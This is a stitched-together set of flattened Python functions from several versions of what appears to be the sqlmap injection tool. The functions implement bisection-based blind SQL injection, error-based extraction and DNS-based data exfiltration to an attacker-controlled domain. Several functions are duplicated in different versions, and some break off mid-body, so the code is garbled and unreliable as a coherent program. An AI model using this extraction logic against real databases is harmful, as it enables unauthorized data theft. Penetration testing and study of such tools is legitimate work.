extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = "(?P<result>.*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def bisection(payload, expression, length=None): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" if kb.dbmsDetected: _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) infoMsg = "query: %s" % expressionUnescaped logger.info(infoMsg) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" showEta = conf.eta and length numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length)) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules def getChar(idx): maxValue = 127 minValue = 0 while (maxValue - minValue) != 1: queriesCount[0] += 1 limit = ((maxValue + minValue) / 2) forgedPayload = payload % (expressionUnescaped, idx, limit) result = Request.queryPage(forgedPayload) if result == kb.defaultResult: minValue = limit else: maxValue = limit if (maxValue - minValue) == 1: # NOTE: this first condition should never occur if maxValue == 1: return None else: return chr(minValue + 1) def etaProgressUpdate(charTime, index): if len(progressTime) <= ((length * 3) / 100): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [None] * length index = [0] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() def downloadThread(): while True: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() charStart = time.time() val = getChar(curidx) if val == None: raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % ( curidx, length) value[curidx - 1] = val if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose in (1, 2): s = "".join([c or "_" for c in value]) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s)) iolock.release() def downloadThreadProxy(numThread): try: downloadThread() except (sqlmapConnectionException, sqlmapValueException), errMsg: conf.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg)) except KeyboardInterrupt: conf.threadException = True print logger.debug("waiting for threads to finish") try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" except:
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif (isinstance(firstChar, basestring) and firstChar.isdigit()) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif lastChar in (None, "0"): lastChar = 0 elif (isinstance(lastChar, basestring) and lastChar.isdigit()) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > (lastChar - firstChar): length = (lastChar - firstChar) showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: debugMsg = "multi-threading is not considered safe in time-based data retrieval" logger.debug(debugMsg) numThreads = 1 if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout( "[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules hintlock = threading.Lock() def tryHint(idx): hintlock.acquire() hintValue = kb.hintValue hintlock.release() if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return hintValue[idx - 1] hintlock.acquire() kb.hintValue = None hintlock.release() return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) return not result def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result originalTbl = list(charTbl) if continuousOrder: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.unescape( markingValue % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = list(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar( idx, retVal): errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "adjusting time delay to %d seconds" % conf.timeSec logger.warn(warnMsg) return getChar(idx, originalTbl, continuousOrder, expand) else: return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) queriesCount[0] += 1 result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ((length * 3) / 100): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [None] * length index = [firstChar] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() valuelock = threading.Lock() kb.threadContinue = True def downloadThread(): try: while kb.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break valuelock.acquire() value[curidx - 1] = val currentValue = list(value) valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min( length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % ( count, length, round( 100.0 * count / length), '%') output += status if count != length else " " * len( status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName() ) == numThreads - 1: partialValue = unicode() for v in value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) except (sqlmapConnectionException, sqlmapValueException), errMsg: print kb.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg)) except KeyboardInterrupt: kb.threadException = True print logger.debug("waiting for threads to finish") try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" except:
def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsName: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") dataToStdout( "[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), _formatPartialContent(partialValue))) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any( _ in field for _ in ("COUNT", "CASE") ): # skip chunking of scalar expression (unneeded) extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) incrementCounter(kb.technique) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, ( \ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 rotator = 0 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE) ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) seen = set() current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) if Backend.isDbms(DBMS.ORACLE): testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) else: testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms( DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue( _oneShotErrorUse(testQuery, chunkTest=True)) seen.add(current) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current and candidate not in seen else current - 1 else: current = current // 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE) ) and not any(_ in field for _ in ("COUNT", "CASE") ) and kb.errorChunkLength and not chunkTest: extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = getTechniqueData().vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(getTechnique()) if page and conf.noEscape: page = re.sub( r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = firstNotNone( extractRegexResult(check, page), extractRegexResult( check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult( check, listToStrValue(( headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower() ) if headers else None)), extractRegexResult( check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)) if output is not None: output = getUnicode(output) else: trimmed = firstNotNone( extractRegexResult(trimCheck, page), extractRegexResult( trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult( trimCheck, listToStrValue(( headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower() ) if headers else None)), extractRegexResult( trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[: 2] output = extractRegexResult( check, trimmed, re.IGNORECASE) if not output: check = r"(?P<result>[^\s<>'\"]+)" output = extractRegexResult( check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len( output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if output and conf.verbose in (1, 2) and not any( (conf.api, kb.bruteMode)): if kb.fileReadMode: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, six.string_types): retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def __oneShotErrorUse(expression, field): retVal = hashDBRetrieve(expression, checkConf=True) threadData = getCurrentThreadData() threadData.resumed = retVal is not None offset = 1 chunk_length = None if retVal is None: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) nulledCastedField = agent.nullAndCastField(field) if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MYSQL].substring.query % ( nulledCastedField, offset, chunk_length) elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MSSQL].substring.query % ( nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) incrementCounter(PAYLOAD.TECHNIQUE.ERROR) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, [ \ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \ None) if output is not None: output = getUnicode(output, kb.pageEncoding) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += trimmed logger.warn(warnMsg) if any( map(lambda dbms: Backend.isDbms(dbms), [DBMS.MYSQL, DBMS.MSSQL])): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break else: retVal = output break retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = __errorReplaceChars(retVal) hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def __oneShotErrorUse(expression, field): global reqCount threadData = getCurrentThreadData() retVal = None offset = 1 while True: check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop) nulledCastedField = agent.nullAndCastField(field) if Backend.getIdentifiedDbms() == DBMS.MYSQL: nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, MYSQL_ERROR_CHUNK_LENGTH) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) reqCount += 1 # Parse the returned page to get the exact error-based # sql injection output output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) if isinstance(output, basestring): output = htmlunescape(output).replace("<br>", "\n") if Backend.getIdentifiedDbms() == DBMS.MYSQL: if offset == 1: retVal = output else: retVal += output if output else '' if not (output and len(output) == MYSQL_ERROR_CHUNK_LENGTH): break else: offset += MYSQL_ERROR_CHUNK_LENGTH else: retVal = output break retVal = __errorReplaceChars(retVal) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal))) return retVal
